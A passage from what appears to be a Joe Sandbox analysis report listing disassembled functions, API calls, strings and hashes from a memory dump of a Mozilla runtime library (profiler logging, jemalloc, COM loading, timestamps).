Part of subcall function 6C519420: __Init_thread_footer.LIBCMT ref: 6C51949F

GetCurrentThreadId.KERNEL32 ref: 6C51F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C51F598), ref: 6C51F621

Part of subcall function 6C5194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5194EE
Part of subcall function 6C5194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C519508

GetCurrentThreadId.KERNEL32 ref: 6C51F637
AcquireSRWLockExclusive.KERNEL32(6C55F4B8,?,?,00000000,?,6C51F598), ref: 6C51F645
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8,?,?,00000000,?,6C51F598), ref: 6C51F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C51F62A

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: 46b7a2c30401f28b38c48fa7e36bc7bc4e069d207aae2f21446da2213382edd7
Instruction ID: 671ed7e3cd39fdc4488d6dc10d7ea607c067fb2f3cbdbd2bc388f8c84fdc9897
Opcode Fuzzy Hash: 46b7a2c30401f28b38c48fa7e36bc7bc4e069d207aae2f21446da2213382edd7
Instruction Fuzzy Hash: 0511E335305204EBDB04AF19DC4C9A5B7B9FFC636CB950116EA0583F42CB72AC21CBA4

Function 6C4E2070 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 68libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C50AB89: EnterCriticalSection.KERNEL32(6C55E370,?,?,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284), ref: 6C50AB94
Part of subcall function 6C50AB89: LeaveCriticalSection.KERNEL32(6C55E370,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284,?,?,6C4F56F6), ref: 6C50ABD1

LoadLibraryW.KERNEL32(combase.dll,6C4E1C5F), ref: 6C4E20AE
GetProcAddress.KERNEL32(00000000,CoInitializeSecurity), ref: 6C4E20CD
__Init_thread_footer.LIBCMT ref: 6C4E20E1
FreeLibrary.KERNEL32 ref: 6C4E2124

Strings

combase.dll, xrefs: 6C4E20A9
CoInitializeSecurity, xrefs: 6C4E20C7

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeSecurity$combase.dll
API String ID: 4190559335-2476802802
Opcode ID: 421150eafbb3d46f795fd131cfc39b97a47f87ee2e7a952e874b750bb7e81382
Instruction ID: 724b7dcfe417fddd0408b3a881c7a3e8ff2e37171c7e054a0abc05ff653d243c
Opcode Fuzzy Hash: 421150eafbb3d46f795fd131cfc39b97a47f87ee2e7a952e874b750bb7e81382
Instruction Fuzzy Hash: 3421BB3620020AEFDF20DF58EC4CD9A3B76FB4A326F524215FA0492691DB319861CFA4

Function 6C5376C0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 6C5376F2
moz_xmalloc.MOZGLUE(00000001), ref: 6C537705

Part of subcall function 6C4ECA10: malloc.MOZGLUE(?), ref: 6C4ECA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C537717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6C53778F,00000000,00000000,00000000,00000000), ref: 6C537731
free.MOZGLUE(00000000), ref: 6C537760

Strings

}>Ql, xrefs: 6C5376C4

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID: }>Ql
API String ID: 2538299546-1900031649
Opcode ID: 83f767da9bb20691958f0ebd8e91ae91aec32de17eb14697e31e230d531d6c7e
Instruction ID: 7cd4cb3be489ca738c33d0f4a790c6aced969121796f8d091fd407002e45737d
Opcode Fuzzy Hash: 83f767da9bb20691958f0ebd8e91ae91aec32de17eb14697e31e230d531d6c7e
Instruction Fuzzy Hash: A911B6B1D04325ABEB10AF759D44B6B7FE8EF45354F044529F84897300F771985487E2

Function 6C4E1FA0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 60libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C50AB89: EnterCriticalSection.KERNEL32(6C55E370,?,?,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284), ref: 6C50AB94
Part of subcall function 6C50AB89: LeaveCriticalSection.KERNEL32(6C55E370,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284,?,?,6C4F56F6), ref: 6C50ABD1

LoadLibraryW.KERNEL32(combase.dll,?), ref: 6C4E1FDE
GetProcAddress.KERNEL32(00000000,CoCreateInstance), ref: 6C4E1FFD
__Init_thread_footer.LIBCMT ref: 6C4E2011
FreeLibrary.KERNEL32 ref: 6C4E2059

Strings

CoCreateInstance, xrefs: 6C4E1FF7
combase.dll, xrefs: 6C4E1FD9

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoCreateInstance$combase.dll
API String ID: 4190559335-2197658831
Opcode ID: b57cd3329e0fccb3480fa59ba7fc28de5f59386f8efde55c0aed59186981f012
Instruction ID: e6702fa9680ce75b793fe7058ce0083f8d3425a0553f290eec4ea28777307759
Opcode Fuzzy Hash: b57cd3329e0fccb3480fa59ba7fc28de5f59386f8efde55c0aed59186981f012
Instruction Fuzzy Hash: E6114C75701205AFDF20DF15CC4CE5A3B79EB8A35AF524229EA0592781DB319811CB65

Function 6C4E0EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C50AB89: EnterCriticalSection.KERNEL32(6C55E370,?,?,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284), ref: 6C50AB94
Part of subcall function 6C50AB89: LeaveCriticalSection.KERNEL32(6C55E370,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284,?,?,6C4F56F6), ref: 6C50ABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6C50D9F0,00000000), ref: 6C4E0F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6C4E0F3C
__Init_thread_footer.LIBCMT ref: 6C4E0F50
FreeLibrary.KERNEL32(?,6C50D9F0,00000000), ref: 6C4E0F86

Strings

combase.dll, xrefs: 6C4E0F18
CoInitializeEx, xrefs: 6C4E0F36

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: 97015c26e983c54b75a468d06697f12f283c3fe1e0f0c08c86324733d312cd67
Instruction ID: 5c17cb0f4842a5239aa8d0bed3f75784ee9aa877dd618baf9bf4494b4ac05709
Opcode Fuzzy Hash: 97015c26e983c54b75a468d06697f12f283c3fe1e0f0c08c86324733d312cd67
Instruction Fuzzy Hash: B811A0757052409BDF00DF98CD08F5E3774EB8A327F86432AE91592746DBB0A815CA5D

Function 6C51F540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C4E4A68), ref: 6C51945E
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C519470
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C519482
Part of subcall function 6C519420: __Init_thread_footer.LIBCMT ref: 6C51949F

GetCurrentThreadId.KERNEL32 ref: 6C51F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C51F561

Part of subcall function 6C5194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5194EE
Part of subcall function 6C5194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C519508

GetCurrentThreadId.KERNEL32 ref: 6C51F577
AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51F585
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51F5A3

Strings

[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C51F56A
[I %d/%d] profiler_resume_sampling, xrefs: 6C51F499
[I %d/%d] profiler_pause_sampling, xrefs: 6C51F3A8
[I %d/%d] profiler_resume, xrefs: 6C51F239

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: ce1c635c472caa5eeaec2b657b2d8c7a59b73900633756042f45c123e447c976
Instruction ID: 17b7f23cbf35ed8d8333b605af5625767493b9381f77f5390d638f361b5bd773
Opcode Fuzzy Hash: ce1c635c472caa5eeaec2b657b2d8c7a59b73900633756042f45c123e447c976
Instruction Fuzzy Hash: 9CF05475704204DBEA007F659C4CA6A77BDFBC629DF860115EA05D3B02DB764C058769

Function 6C4E0E40 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernel32.dll,6C4E0DF8), ref: 6C4E0E82
GetProcAddress.KERNEL32(00000000,GetProcessMitigationPolicy), ref: 6C4E0EA1
__Init_thread_footer.LIBCMT ref: 6C4E0EB5
FreeLibrary.KERNEL32 ref: 6C4E0EC5

Strings

GetProcessMitigationPolicy, xrefs: 6C4E0E9B
kernel32.dll, xrefs: 6C4E0E7D

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Library$AddressFreeInit_thread_footerLoadProc
String ID: GetProcessMitigationPolicy$kernel32.dll
API String ID: 391052410-1680159014
Opcode ID: a0ad6d3b9844719f7bbf87b1abb074a63faa319c2cb650cf16196d4b91ba471f
Instruction ID: def99ec3fc9d00ef9490e1014e8f45dcf7e4c15eb715e0351a7535f1876f63b1
Opcode Fuzzy Hash: a0ad6d3b9844719f7bbf87b1abb074a63faa319c2cb650cf16196d4b91ba471f
Instruction Fuzzy Hash: D8014670B10281CFDF10DFECDC18E6237B5F74A31AF930626D91192B40DB74A814DA99

Function 6C51F600 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C4E4A68), ref: 6C51945E
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C519470
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C519482
Part of subcall function 6C519420: __Init_thread_footer.LIBCMT ref: 6C51949F

GetCurrentThreadId.KERNEL32 ref: 6C51F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C51F598), ref: 6C51F621

Part of subcall function 6C5194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5194EE
Part of subcall function 6C5194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C519508

GetCurrentThreadId.KERNEL32 ref: 6C51F637
AcquireSRWLockExclusive.KERNEL32(6C55F4B8,?,?,00000000,?,6C51F598), ref: 6C51F645
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8,?,?,00000000,?,6C51F598), ref: 6C51F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C51F62A

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 2848912005-753366533
Opcode ID: 303e5d64091728ecd6e557b62c226b567898ceb68535f65d57e1261807553de2
Instruction ID: 4fdd023a7c535947fa8f0704f97fb4e28435d990396d102b77be27f56afaab36
Opcode Fuzzy Hash: 303e5d64091728ecd6e557b62c226b567898ceb68535f65d57e1261807553de2
Instruction Fuzzy Hash: A5F05E75304204EBEA007B659C4CA6A7BBDFBC62ADF860116EA0993B41DB764C058769

Function 6C5105F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6C50CFAE,?,?,?,6C4D31A7), ref: 6C5105FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6C50CFAE,?,?,?,6C4D31A7), ref: 6C510616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6C4D31A7), ref: 6C51061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6C4D31A7), ref: 6C510627

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C51061B, 6C510625
<jemalloc>, xrefs: 6C5105FA, 6C51060F

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: 589d2f077d9a39e37092fdcbd814ac937316b317f92efb32cbd7fb3f563bfba8
Instruction ID: e13ed05e0959d9c1f2a691f66eaca58f59ca917d16927e3779ebc1580edd3c4c
Opcode Fuzzy Hash: 589d2f077d9a39e37092fdcbd814ac937316b317f92efb32cbd7fb3f563bfba8
Instruction Fuzzy Hash: 59E08CF2A0101037F514225AAC8ADBB761DDBC6238F080039FD0D82301EA4BBD1E51F6

Function 6C4E05F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8ea1b815878b1d6f4f0fa2d1c0f3f8dc3dbe4a0c30c1a8a826fddfa890be2456
Instruction ID: 3029ad988cb6f74fa14e2f475022cdb69106582de1aada9ba2cbaa68e931ccb0
Opcode Fuzzy Hash: 8ea1b815878b1d6f4f0fa2d1c0f3f8dc3dbe4a0c30c1a8a826fddfa890be2456
Instruction Fuzzy Hash: 7FA148B0A00605CFDB14CF29C984E9AFBF1BF89305F45866ED45A97B00EB30A945CF90

Function 6C5314A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C5314C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C5314E2
GetCurrentThreadId.KERNEL32 ref: 6C531546
InitializeConditionVariable.KERNEL32(?), ref: 6C5315BA
free.MOZGLUE(?), ref: 6C5316B4

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: 39a4ed6f8a56fb797dfa1ee5a370e1161951e02007e2a51375fe7f15670cd885
Instruction ID: 46c7631fee0261bc19cc084fc37e4cc20f6840f106e69e9aab641973170204b9
Opcode Fuzzy Hash: 39a4ed6f8a56fb797dfa1ee5a370e1161951e02007e2a51375fe7f15670cd885
Instruction Fuzzy Hash: 3C61DD72A00710DBDB119F24CC80BDBB7B0BF89308F45951CE98A57611EB34E949CB91

Function 6C529F40 Relevance: 9.2, APIs: 6, Instructions: 157timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C529FDB
free.MOZGLUE(?,?), ref: 6C529FF0
free.MOZGLUE(?,?), ref: 6C52A006
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C52A0BE
free.MOZGLUE(?,?), ref: 6C52A0D5
free.MOZGLUE(?,?), ref: 6C52A0EB

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 7c16a851388f781cad7bfd058123edf36e8b29a82aa2fcdf091acd72b8ebd85e
Instruction ID: 293edd352da6dcb6ba2a3d1f966d905af0f125f71f5164cac49946a5c317af7b
Opcode Fuzzy Hash: 7c16a851388f781cad7bfd058123edf36e8b29a82aa2fcdf091acd72b8ebd85e
Instruction Fuzzy Hash: 4E618E755086419FC711CF18C88099AB7F5FFC8328F54865DE8A99B742EB31E986CBC1

Function 6C52DC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C52DC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6C52D38A,?), ref: 6C52DC6F
free.MOZGLUE(?,?,?,?,?,6C52D38A,?), ref: 6C52DCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6C52D38A,?), ref: 6C52DCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6C52D38A,?), ref: 6C52DD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6C52D38A,?), ref: 6C52DD4A

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: 44cb2138e2cfdbd3cffe41204c1b4dfc5177c1e6501f2e440e9d67e61591d1ca
Instruction ID: 526b124f5fac37a7ed760cea7cf9b11127322570b4d9416af6fec7c641cd10b3
Opcode Fuzzy Hash: 44cb2138e2cfdbd3cffe41204c1b4dfc5177c1e6501f2e440e9d67e61591d1ca
Instruction Fuzzy Hash: 154169B5A00605CFCB04CFA9C884A9ABBF6FF88314B554569D946ABB50D735FC00CB90

Function 6C52C810 Relevance: 9.1, APIs: 6, Instructions: 75COMMON

Download Yara Rule

APIs

??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C52C82D
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C52C842

Part of subcall function 6C52CAF0: ?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(00000000,00000000,?,6C54B5EB,00000000), ref: 6C52CB12

?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,00000000), ref: 6C52C863
std::_Facet_Register.LIBCPMT ref: 6C52C875

Part of subcall function 6C50B13D: ??_U@YAPAXI@Z.MOZGLUE(00000008,?,?,6C54B636,?), ref: 6C50B143

??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C52C89A
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C52C8BC

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_Bid@locale@std@@Facet_Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterV42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 2745304114-0
Opcode ID: 62afe71cc9e1b37af22af04295ccaeab7e4c0e08904a37e60dea09e7fe26eef7
Instruction ID: 4f21f01d946af3d6a6d9ec76b2d93ff4968205e560a4f3b5376441739d1ddb33
Opcode Fuzzy Hash: 62afe71cc9e1b37af22af04295ccaeab7e4c0e08904a37e60dea09e7fe26eef7
Instruction Fuzzy Hash: 16116375B002059BDB00EFA4CCC99AE7BB5EF89354B510529E50697381DB34AD05CB95

Function 6C50F440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6C50F480

Part of subcall function 6C4DF100: LoadLibraryW.KERNEL32(shell32,?,6C54D020), ref: 6C4DF122
Part of subcall function 6C4DF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C4DF132

CloseHandle.KERNEL32(00000000), ref: 6C50F555

